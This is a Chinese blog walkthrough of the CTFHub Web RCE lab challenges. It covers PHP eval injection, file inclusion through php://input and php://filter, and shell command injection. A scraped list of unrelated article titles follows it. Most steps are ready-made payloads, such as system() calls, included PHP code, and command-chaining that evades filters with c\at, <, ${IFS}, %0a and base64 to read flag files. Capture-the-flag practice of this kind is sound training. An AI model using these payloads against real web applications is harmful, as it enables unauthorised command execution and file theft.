CTFHub技能树 Web-RCE 详解
目录
RCE简介
eval执行
文件包含
php://input
读取源代码
远程包含
命令注入
过滤cat
过滤空格
过滤目录分隔符
过滤运算符
综合过滤练习
RCE简介
初学RCE(远程命令/代码执行漏洞)https://blog.csdn.net/qq_43814486/article/details/90020139https://blog.csdn.net/qq_43814486/article/details/90020139
eval执行
启动环境
分析代码,提示我们将命令赋值给cmd执行
我们先查看当前位置的文件,没有什么用
/?cmd=system("ls");
我们查看根目录文件,发现一个 flag_8999 文件
/?cmd=system("ls /");
我们先尝试使用cat 命令查看 flag_8999文件
/?cmd=system("cat /flag_8999");
OK了,成功找到了flag
需要注意的是:最后结尾的分号不可以省略!!
文件包含
补充知识:
isset()函数
strpos()函数
启动环境
分析代码
strpos函数会将我们的file中的flag字段限制,所以并不能为直接为file赋值为flag
点击shell,我们发现shell.txt中有一个变量ctfhub
我们可以将shell.txt赋值给file,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制!
request = post + get
我们使用HackBar,将命令赋值给shell.txt中的ctfhub
?file=shell.txt 将shell.txt 赋值给file
http://challenge-d82fb33100df49ae.sandbox.ctfhub.com:10800?file=shell.txt
ctfhub=system("ls /");
ctfhub=system("cat /flag");
php://input
补充知识:
php:// 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
启动环境:
分析代码它将file前六位取出判断是否为 "php://" ,是的话为ture 执行include($_GET["file"]);
查看phpinfo,发现以下字段,证明是可以使用php://input的。
burpsuite 抓包
POST /?file:php://input
<?php system("ls /")?>
查看flag文件,成功获得flag
<?php system("cat /flag_28869")?>
读取源代码
启动环境
这里尝试使用 php://input ,发现不成功,那我们就换一个。
这里我们使用php伪协议中的php://filter
php://filter 的使用https://blog.csdn.net/destiny1507/article/details/82347371https://blog.csdn.net/destiny1507/article/details/82347371构造payload
/?file=php://filter/resource=/flag
http://challenge-f5f2c46b14eae159.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
远程包含
启动环境
分析代码:熟悉的strpos()函数
查看PHPinfo文件,发现可以使用php://input
burpsuite 抓包,老套路成功获得flag
POST /?file=php://input
<?php system("ls /")?>
<?php system("cat /falg")?>
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
补充知识:
linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
启动环境
我们随便输入一个ip,查看输出
这里我们输入ip & ls ,发现有文件的回显
1.1.1.1 & ls
使用cat查看 文件,我们发现没有文件内容的,我们查看页面源代码即可看到flag
1.1.1.1 & cat 56762100612447.php
这里我们也可以使用管道运行base64加密内容
ip & cat *.php | base64
对第一行进行解码,即可得到flag
过滤cat
过滤了cat命令之后,你还有什么方法能读到 Flag?
启动环境
1.1.1.1 & ls
既然过滤了cat,那我们尝试绕过过滤。
第一种,使用 \ '' "" {任意无意义变量名}
等方法均可绕过
1.1.1.1 & c\at flag_103292321323608.php
第二种,使用其他查看文本命令
Linux | 文本文件查看命令https://blog.csdn.net/zhengnianli/article/details/89857683https://blog.csdn.net/zhengnianli/article/details/89857683这里使用 more
1.1.1.1 & more flag_103292321323608.php
这里同样可以输出 base64密文,再解密。
过滤空格
这次过滤了空格,你能绕过吗
1.1.1.1&ls
我们可以使用重定向符 < 来代替空格
1.1.1.1&cat<flag_3163352345276.php
过滤目录分隔符
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
可以看到 flag_is_here 文件夹
1.1.1.1&ls
这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录
12.0.0.1;cd flag_is_here;ls
cat 查看flag文件
12.0.0.1;cd flag_is_here;cat flag_536147747793.php
过滤运算符
过滤了几个运算符, 要怎么绕过呢
& 以及其他的被过滤了 使用 ;
1.1.1.1;ls
1.1.1.1;cat flag_121702315315333.php
依旧可以使用base64
1.1.1.1;base64 flag_121702315315333.php
综合过滤练习
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
启动环境
审计代码:这里过滤掉了 | ,& ,空格,; ,cat, flag, ctfhub
空格可以用${IFS}
cat可以用more
flag可以用f***
在linux下,命令分隔符除了;还有%0a
/?ip=127.0.0.1%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_17214794821880.php
RCE 完结!!!
剩余技能上线后会持续更新。
CTFHub技能树 Web-RCE 详解相关推荐
- (ASA) Cisco Web ××× 配置详解 [三部曲之一]
(ASA) Cisco Web ××× 配置详解 [三部曲之一] 注意:本文仅对Web×××特性和配置作介绍,不包含SSL ×××配置,SSL ×××配置将在本版的后续文章中进行介绍. 首先,先来 ...
- Stuts的Web.xml 详解
1 定义头和根元素 部署描述符文件就像所有XML文件一样,必须以一个XML头开始.这个头声明可以使用的XML版本并给出文件的字符编码. DOCYTPE声明必须立即出现在此头之后.这个声明告诉服务器适用 ...
- 用python写一个简单的爬虫_Python实现简易Web爬虫详解
编辑推荐: 本文主要介绍了Python实现简易Web爬虫详解,希望对大家有帮助. 本文来自于脚本之家 ,由火龙果软件Alice编辑,推荐. 简介: 网络爬虫(又被称为网页蜘蛛),网络机器人,是一种按照 ...
- [面试专题]Web缓存详解
Web缓存详解 标签(空格分隔): 缓存 缓存之于性能优化 请求更快:通过将内容缓存在本地浏览器或距离最近的缓存服务器(如CDN),在不影响网站交互的前提下可以大大加快网站加载速度. 降低服务器压力: ...
- Web.xml详解(转)
这篇文章主要是综合网上关于web.xml的一些介绍,希望对大家有所帮助,也欢迎大家一起讨论. ---题记 一. Web.xml详解: (一) web.xml加载过程(步骤) 首 ...
- Mac下Intellij IDea发布Web项目详解一
Mac下Intellij IDea发布Web项目详解一 Mac下Intellij IDea发布Java Web项目(适合第一次配置Tomcat的家伙们)详解二 Mac下Intellij IDea发布J ...
- (转)asp.net夜话之十一:web.config详解
在开发中经常会遇到这样的情况,在部署程序时为了保密起见并不将源代码随项目一同发布,而我们开发时的环境与部署环境可能不一致(比如数据库不一样),如果在代码中保存这些配置这些信息部署时需要到用户那里更改代 ...
- Web.config详解+asp.net优化(1)
一.认识Web.config文件 Web.config 文件是一个xml文本文件,它用来储存 asp.NET Web 应用程序的配置信息(如最常用的设置asp.NET Web 应用程序的身份验证方式) ...
- Web.config详解+asp.net优化
Web.config详解+asp.net优化(1) 一.认识Web.config文件 Web.config 文件是一个xml文本文件,它用来储存 asp.NET Web 应用程序的配置信息(如最常用的 ...
- Ctfhub解题 web RCE
Ctfhub解题 web RCE 1. eval执行 2.文件包含 3.php://input 4.读取源代码 5.远程包含 6.命令注入 7.过滤cat 8.过滤空格 9.过滤目录分隔符 10.过滤 ...
最新文章
- 【城市沙龙】LiveVideoStack Meet|合肥:在“霸都”邂逅音视频技术
- php 工厂静态类,静态工厂模式(Static Factory)
- TKStudio MDK 工具链解决办法
- 小白科普:Netty有什么用?【转载】
- error C2143: syntax error : missing ';' before '}'
- 2017云栖大会:阿里巴巴宣布成立达摩院
- oracle打开文件模式无效,oracle expdp导入时 提示“ORA-39002: 操作无效 ORA-39070: 无法打开日志文件 ”...
- 原生js 样式的操作整理
- STM32网络ETH
- eclipse的maven项目,如何使用java run main函数
- 从0开始python后端开发_前端(html)向后端(python)传递数据_GET_POST
- javascript的table 对象 属性 方法
- 计算机网络原理(04741)课后习题答案
- 苹果4s怎么越狱_unc0ver 越狱工具来袭,免电脑操作,支持 A7-A12,支持iOS11~iOS12.4稳定越狱...
- 104规约使用总结(四)——调试工具
- 尚学堂马士兵Oracle教程 笔记
- 2019大前端浪潮下的年度终结
- 脾气暴躁的 Linus 不大可能开喷修改 master
- 解决Upload to dev failed. Could not resolve file “sftp://xxx.xxx.xxx.xxx:22/“. (Request failed)
- 微信小程序转码机器人❤️免费无水印❤️